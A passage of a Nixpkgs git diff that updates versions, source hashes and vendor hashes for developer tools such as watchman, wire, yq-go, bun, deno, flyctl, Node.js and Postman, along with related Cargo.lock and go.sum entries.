"c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "vec_map" @@ -943,7 +921,7 @@ version = "0.8.0" dependencies = [ "anyhow", "bytes", - "futures 0.3.28", + "futures 0.3.30", "maplit", "serde", "serde_bser", @@ -999,62 +977,148 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", ] [[package]] name = "windows-targets" -version = "0.48.1" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", ] [[package]] name = "windows_aarch64_gnullvm" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] diff --git a/pkgs/development/tools/watchman/default.nix b/pkgs/development/tools/watchman/default.nix index 973a48a84bc85..dc5d1f87fdb36 100644 --- a/pkgs/development/tools/watchman/default.nix +++ b/pkgs/development/tools/watchman/default.nix @@ -34,13 +34,13 @@ stdenv.mkDerivation rec { pname = "watchman"; - version = "2023.08.14.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebook"; repo = "watchman"; rev = "v${version}"; - hash = "sha256-41bBPFlLYFHySyX4/GUllT1pNywSRcH7x/pnb5iN/1o="; + hash = "sha256-+qlcdekBcRwmgrtQ8HcLHphURf0c4oRCs6nbjAzT26c="; }; cmakeFlags = [ diff --git a/pkgs/development/tools/wire/default.nix b/pkgs/development/tools/wire/default.nix index 50e57d07d4138..601c7fa8df7cc 100644 --- a/pkgs/development/tools/wire/default.nix +++ b/pkgs/development/tools/wire/default.nix @@ -2,19 +2,27 @@ buildGoModule rec { pname = "wire"; - version = "0.5.0"; + version = "0.6.0"; src = fetchFromGitHub { owner = "google"; repo = "wire"; rev = "v${version}"; - sha256 = "sha256-9xjymiyPFMKbysgZULmcBEMI26naUrLMgTA+d7Q+DA0="; + hash = "sha256-bV/bb577JzGF37HmvRprxr+GWcLLiFRisURwtGDbqko="; }; - vendorHash = "sha256-ZFUX4LgPte6oAf94D82Man/P9VMpx+CDNCTMBwiy9Fc="; + patches = [ + # Bump the minimum version of Go required to compile packages in this module, + # as `golang.org/x/tools` requires go1.18 or later. + ./go-modules.patch + ]; + + vendorHash = "sha256-7IW97ZvCGlKCiVh8mKQutTdAxih7oFkXrKo4h3Pl9YY="; subPackages = [ "cmd/wire" ]; + ldflags = [ "-s" "-w" ]; + meta = with lib; { homepage = "https://github.com/google/wire"; description = "A code generation tool that automates connecting components using dependency injection"; diff --git a/pkgs/development/tools/wire/go-modules.patch b/pkgs/development/tools/wire/go-modules.patch new file mode 100644 index 0000000000000..cc6facd4d2d07 --- /dev/null +++ b/pkgs/development/tools/wire/go-modules.patch @@ -0,0 +1,79 @@ +diff --git a/go.mod b/go.mod +index 944aef0..ee579ff 100644 +--- a/go.mod ++++ b/go.mod +@@ -1,6 +1,6 @@ + module github.com/google/wire + +-go 1.12 ++go 1.18 + + require ( + github.com/google/go-cmp v0.2.0 +@@ -8,3 +8,5 @@ require ( + github.com/pmezard/go-difflib v1.0.0 + golang.org/x/tools v0.17.0 + ) ++ ++require golang.org/x/mod v0.14.0 // indirect +diff --git a/go.sum b/go.sum +index 8da3aae..fbca3c1 100644 +--- a/go.sum ++++ b/go.sum +@@ -4,56 +4,8 @@ github.com/google/subcommands v1.2.0 h1:vWQspBTo2nEqTUFita5/KeEWlUL8kQObDFbub/EN + github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk= + github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= + github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +-github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +-golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +-golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +-golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +-golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= +-golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +-golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +-golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= + golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0= + golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +-golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +-golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +-golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +-golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +-golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +-golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= +-golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= +-golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +-golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +-golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +-golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= + golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= +-golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +-golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +-golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +-golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +-golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +-golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +-golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +-golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +-golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +-golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +-golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= +-golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +-golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +-golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +-golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +-golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +-golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +-golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +-golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +-golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +-golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +-golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +-golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= + golang.org/x/tools v0.17.0 h1:FvmRgNOcs3kOa+T20R1uhfP9F6HgG2mfxDv1vrx1Htc= + golang.org/x/tools v0.17.0/go.mod h1:xsh6VxdV005rRVaS6SSAf9oiAqljS7UZUacMZ8Bnsps= +-golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/pkgs/development/tools/wxformbuilder/default.nix b/pkgs/development/tools/wxformbuilder/default.nix index e8f888680bad8..8914620074d5a 100644 --- a/pkgs/development/tools/wxformbuilder/default.nix +++ b/pkgs/development/tools/wxformbuilder/default.nix @@ -11,7 +11,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "wxformbuilder"; - version = "4.0.0"; + version = "4.1.0"; src = fetchFromGitHub { owner = "wxFormBuilder"; @@ -25,7 +25,7 @@ stdenv.mkDerivation (finalAttrs: { --replace "\$Format:%(describe)\$" "$(git -C $out rev-parse --short HEAD)" rm -rf $out/.git ''; - hash = "sha256-Lqta+u9WVwUREsR7aH+2DJn0oM5QwlwRSBImuwNkmS4="; + hash = "sha256-Ob+6MAf2iQGd3lgeN+dLfscpmYYrzD3dsN+2ZmvJog0="; }; postPatch = '' diff --git a/pkgs/development/tools/yarn-berry/default.nix b/pkgs/development/tools/yarn-berry/default.nix index 1ae3e1ef60713..b1f0788dacda9 100644 --- a/pkgs/development/tools/yarn-berry/default.nix +++ b/pkgs/development/tools/yarn-berry/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { name = "yarn-berry"; - version = "4.1.0"; + version = "4.1.1"; src = fetchFromGitHub { owner = "yarnpkg"; repo = "berry"; rev = "@yarnpkg/cli/${version}"; - hash = "sha256-SjWjvnq9sHdUhnZfzVC5BTQwksKcLqz8W+TTNXrIVjE="; + hash = "sha256-75bERA1uZeywMjYznFDyk4+AtVDLo7eIajVtWdAD/RA="; }; buildInputs = [ diff --git a/pkgs/development/tools/yq-go/default.nix b/pkgs/development/tools/yq-go/default.nix index fb627f52e0114..d05b60457a63f 100644 --- a/pkgs/development/tools/yq-go/default.nix +++ b/pkgs/development/tools/yq-go/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "yq-go"; - version = "4.40.7"; + version = "4.42.1"; src = fetchFromGitHub { owner = "mikefarah"; repo = "yq"; rev = "v${version}"; - hash = "sha256-VvA6PYJYRejGlYDb/gyHDQSNOwDWSE7vXPqYGrVLtko="; + hash = "sha256-IBEW+IiDymquBhc+nsaYHM59uhBR3o6nt62undeprdY="; }; - vendorHash = "sha256-5jc9AQ1T4818kvAF6SU6JEdCQWt1gRJnESXRMGvqrB0="; + vendorHash = "sha256-Sdml4C6fTp7dnEy4a+GqwoJoGyO1TLCiJlNf5Yoy5cg="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/zed/default.nix b/pkgs/development/tools/zed/default.nix index 6164b6d4c6247..d3d3e7bf35faf 100644 --- a/pkgs/development/tools/zed/default.nix +++ b/pkgs/development/tools/zed/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "zed"; - version = "1.13.0"; + version = "1.14.0"; src = fetchFromGitHub { owner = "brimdata"; repo = pname; rev = "v${version}"; - sha256 = "sha256-xyTHCBvklK8x6V7WsWDYytnVEfLcja78crvs62WJJ9o="; + sha256 = "sha256-1k5qw/uWe5gtDUjDcMW54ezoXOBLt4T9lRmiOS06hz8="; }; - vendorHash = "sha256-m8GOKBwXlNhjEIkkbaIOAGslX4WRVPZ0OknGEG29b4E="; + vendorHash = "sha256-X1rE6/sgpB6jeTjLZJL/a7ghjRJYTXSQDHB4PmEFUmU="; subPackages = [ "cmd/zed" "cmd/zq" ]; diff --git a/pkgs/development/web/bun/default.nix b/pkgs/development/web/bun/default.nix index c4779f96f5ea2..916f125dcc496 100644 --- a/pkgs/development/web/bun/default.nix +++ b/pkgs/development/web/bun/default.nix @@ -12,7 +12,7 @@ }: stdenvNoCC.mkDerivation rec { - version = "1.0.26"; + version = "1.0.29"; pname = "bun"; src = passthru.sources.${stdenvNoCC.hostPlatform.system} or (throw "Unsupported system: ${stdenvNoCC.hostPlatform.system}"); @@ -51,19 +51,19 @@ stdenvNoCC.mkDerivation rec { sources = { "aarch64-darwin" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-darwin-aarch64.zip"; - hash = "sha256-UEYA6q83fxD3yQuHsQiO9bQ5gptQSipFGjE5eGUb+1c="; + hash = "sha256-tcrFHzGJkpVDkrEUff6OR4i76E2+dmYIXuwJ3BiNvQc="; }; "aarch64-linux" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-linux-aarch64.zip"; - hash = "sha256-H+hmbZdRKjljskwNicLeFguo5STZ8fIxk7FHvOenuRc="; + hash = "sha256-ujiVw1Pemlo+OHPj8JtazNzYVziq8a65mYdXcS5ViL4="; }; "x86_64-darwin" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-darwin-x64.zip"; - hash = "sha256-mlKspcFpeYXJuINYDvCoDEuNHJDMcDqngPNIBpD39T4="; + hash = "sha256-rY9VixMXgn8E2NzZpJg873eADM9ZnJnAkdAVnj91S2o="; }; "x86_64-linux" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-linux-x64.zip"; - hash = "sha256-mWVe8BFGSXKJYnr2QXZah1XYfir5zN5+2wQ4HfgdOyE="; + hash = "sha256-mhDFX6Z1UFGXLqDbUAt8TP/8Ejavzu+WdFGayrtS2Ns="; }; }; updateScript = writeShellScript "update-bun" '' diff --git a/pkgs/development/web/deno/default.nix b/pkgs/development/web/deno/default.nix index bae30f873a0f1..557913e957ddc 100644 --- a/pkgs/development/web/deno/default.nix +++ b/pkgs/development/web/deno/default.nix @@ -13,16 +13,16 @@ rustPlatform.buildRustPackage rec { pname = "deno"; - version = "1.40.2"; + version = "1.41.1"; src = fetchFromGitHub { owner = "denoland"; repo = pname; rev = "v${version}"; - hash = "sha256-ycQN4BKuvK4FRYbHUKFFMVFg0LAG64xFiXbAkmQ46Cs="; + hash = "sha256-dbURsob4FLdTK8TiHUnmY4Gjd0bw+EDZu1R0WZJnJG8="; }; - cargoHash = "sha256-5OnYtVsuf6q4nQGO1+qL+2WFaKW0k13fNFS29gKaWhk="; + cargoHash = "sha256-8pENTx8BG23L7m3hlv++KvFY/xOjcXAHuw5V60p4Nh8="; postPatch = '' # upstream uses lld on aarch64-darwin for faster builds diff --git a/pkgs/development/web/deno/librusty_v8.nix b/pkgs/development/web/deno/librusty_v8.nix index 60ce4616c0140..7e8f9eafc498e 100644 --- a/pkgs/development/web/deno/librusty_v8.nix +++ b/pkgs/development/web/deno/librusty_v8.nix @@ -10,11 +10,11 @@ let }; in fetch_librusty_v8 { - version = "0.83.1"; + version = "0.83.2"; shas = { - x86_64-linux = "sha256-0cCpFMPpFWTvoU3+HThYDDTQO7DdpdVDDer5k+3HQFY="; - aarch64-linux = "sha256-fOyJiD0raHxl+5tDWSpH/MbdBUqNY+HCKmTulYLXEYI="; - x86_64-darwin = "sha256-JwZ1FrU/MZeEnvSPDojvDdDxIF/bdZBPRCXrjbBb7WM="; - aarch64-darwin = "sha256-ajmr+SGj3L8TT+17NPkNcwQFESpIZuUul12Pp1oJAkY="; + x86_64-linux = "sha256-RJNdy5jRZK3dTgrHsWuZZAHUyy1EogyNNuBekZ3Arrk="; + aarch64-linux = "sha256-mpOmuqtd7ob6xvrgH4P/6GLa/hXTS/ok0WOYo7+7ZhI="; + x86_64-darwin = "sha256-2o8CvJ3r5+4PLNGTySqPPDTqbU0piX4D1UtZMscMdHU="; + aarch64-darwin = "sha256-WHeITWSHjZxfQJndxcjsp4yIERKrKXSHFZ0UBc43p8o="; }; } diff --git a/pkgs/development/web/flyctl/default.nix b/pkgs/development/web/flyctl/default.nix index 8bdb040bbd5ee..2c7da6ad35697 100644 --- a/pkgs/development/web/flyctl/default.nix +++ b/pkgs/development/web/flyctl/default.nix @@ -1,17 +1,17 @@ -{ lib, buildGoModule, fetchFromGitHub, testers, flyctl, installShellFiles }: +{ lib, buildGo122Module, fetchFromGitHub, testers, flyctl, installShellFiles }: -buildGoModule rec { +buildGo122Module rec { pname = "flyctl"; - version = "0.1.148"; + version = "0.2.6"; src = fetchFromGitHub { owner = "superfly"; repo = "flyctl"; rev = "v${version}"; - hash = "sha256-zvSnIM+fRJqVvPYXiV/HBF3Qgpv4yhPyhp6rGhjEoPU="; + hash = "sha256-A0mlfTeAAeMvmzIvWGALmvMGtGOgVU3X9kvSyrvtK54="; }; - vendorHash = "sha256-gcrqd8QKJY6cxw7fbrxzd5Om3I99RAMWs2q9Mu7ID2A="; + vendorHash = "sha256-9l9zft37cGqVp6SBCc4bQcyNLpzSrLDbC++0ywkpDYU="; subPackages = [ "." ]; diff --git a/pkgs/development/web/insomnia/default.nix b/pkgs/development/web/insomnia/default.nix index 3559db1ec6ffc..597ff71a6fc8f 100644 --- a/pkgs/development/web/insomnia/default.nix +++ b/pkgs/development/web/insomnia/default.nix @@ -16,11 +16,11 @@ let ]; in stdenv.mkDerivation rec { pname = "insomnia"; - version = "2023.5.8"; + version = "8.6.1"; src = fetchurl { url = "https://github.com/Kong/insomnia/releases/download/core%40${version}/Insomnia.Core-${version}.deb"; - sha256 = "sha256-x5DYS3DteYtq1EQuJ3EFV/d/YThPgnhhIj+GpEJsFDY="; + hash = "sha256-qy2j6kdmtDgfTab8gTz7eb/uNKwtzbxcoJHNibVa35c="; }; nativeBuildInputs = [ diff --git a/pkgs/development/web/nodejs/v18.nix b/pkgs/development/web/nodejs/v18.nix index ef8ea595eb2ce..e5551dc29c558 100644 --- a/pkgs/development/web/nodejs/v18.nix +++ b/pkgs/development/web/nodejs/v18.nix @@ -20,8 +20,8 @@ let in buildNodejs { inherit enableNpm; - version = "18.19.0"; - sha256 = "sha256-9StBryBZapq9jtdSQYN+xDlFRoIhRIu/hBNh4gkYGbY="; + version = "18.19.1"; + sha256 = "sha256-CQ+WouzeCAtrOCxtZCvKXQvkcCp4y1Vb578CsgvRbe0="; patches = [ ./disable-darwin-v8-system-instrumentation.patch ./bypass-darwin-xcrun-node16.patch diff --git a/pkgs/development/web/nodejs/v20.nix b/pkgs/development/web/nodejs/v20.nix index d1a75dcdf7e5c..5b75793e8f690 100644 --- a/pkgs/development/web/nodejs/v20.nix +++ b/pkgs/development/web/nodejs/v20.nix @@ -8,8 +8,8 @@ let in buildNodejs { inherit enableNpm; - version = "20.11.0"; - sha256 = "sha256-MYB+vu6wScU/F2XkqVrtaUdqS2lt0QDLU5q2aNeVC0A="; + version = "20.11.1"; + sha256 = "sha256-d4E+2/P38W0tNdM1NEPe5OYdXuhNnjE4x1OKPAylIJ4="; patches = [ ./revert-arm64-pointer-auth.patch ./disable-darwin-v8-system-instrumentation-node19.patch diff --git a/pkgs/development/web/nodejs/v21.nix b/pkgs/development/web/nodejs/v21.nix index 1a34a5c9cc755..51460f6ce7867 100644 --- a/pkgs/development/web/nodejs/v21.nix +++ b/pkgs/development/web/nodejs/v21.nix @@ -8,8 +8,8 @@ let in buildNodejs { inherit enableNpm; - version = "21.6.1"; - sha256 = "sha256-eoLzVtHcul12bw4dTHUOLhjWKQtxC30ZqHJSQeevH2A="; + version = "21.7.0"; + sha256 = "sha256-5B7v4eWWJO5/MSw4+PffwRWVZBrLIpPSEXbwPSdj6dQ="; patches = [ ./disable-darwin-v8-system-instrumentation-node19.patch ./bypass-darwin-xcrun-node16.patch diff --git a/pkgs/development/web/postman/darwin.nix b/pkgs/development/web/postman/darwin.nix index 96ac764082b21..4e47a153fab34 100644 --- a/pkgs/development/web/postman/darwin.nix +++ b/pkgs/development/web/postman/darwin.nix @@ -11,12 +11,12 @@ let dist = { aarch64-darwin = { arch = "arm64"; - sha256 = "sha256-Dy37gqClpV/9GzlpX6FjF+grDN/txbZO7G5BpEA2sms="; + sha256 = "sha256-P7x06KKH0e1Yro93SCEJyiWS/Uv25tWU8A85vxv85hI="; }; x86_64-darwin = { arch = "64"; - sha256 = "sha256-gYlgrq3IyQtcecv9kuh1bHP1TVTPM8Apx2ZU5JLSSkQ="; + sha256 = "sha256-/jlLU5NKF8sNZ49n90219b/oiVFT8EkFx2oYhIk8Tgw="; }; }.${stdenvNoCC.hostPlatform.system} or (throw "Unsupported system: ${stdenvNoCC.hostPlatform.system}"); diff --git a/pkgs/development/web/postman/default.nix b/pkgs/development/web/postman/default.nix index 354ea84968315..0765c711e4f8c 100644 --- a/pkgs/development/web/postman/default.nix +++ b/pkgs/development/web/postman/default.nix @@ -2,7 +2,7 @@ let pname = "postman"; - version = "10.18.6"; + version = "10.23.5"; meta = with lib; { homepage = "https://www.getpostman.com"; description = "API Development Environment"; diff --git a/pkgs/development/web/postman/linux.nix b/pkgs/development/web/postman/linux.nix index b7cba5d4f93b6..763337fd25384 100644 --- a/pkgs/development/web/postman/linux.nix +++ b/pkgs/development/web/postman/linux.nix @@ -20,6 +20,7 @@ , 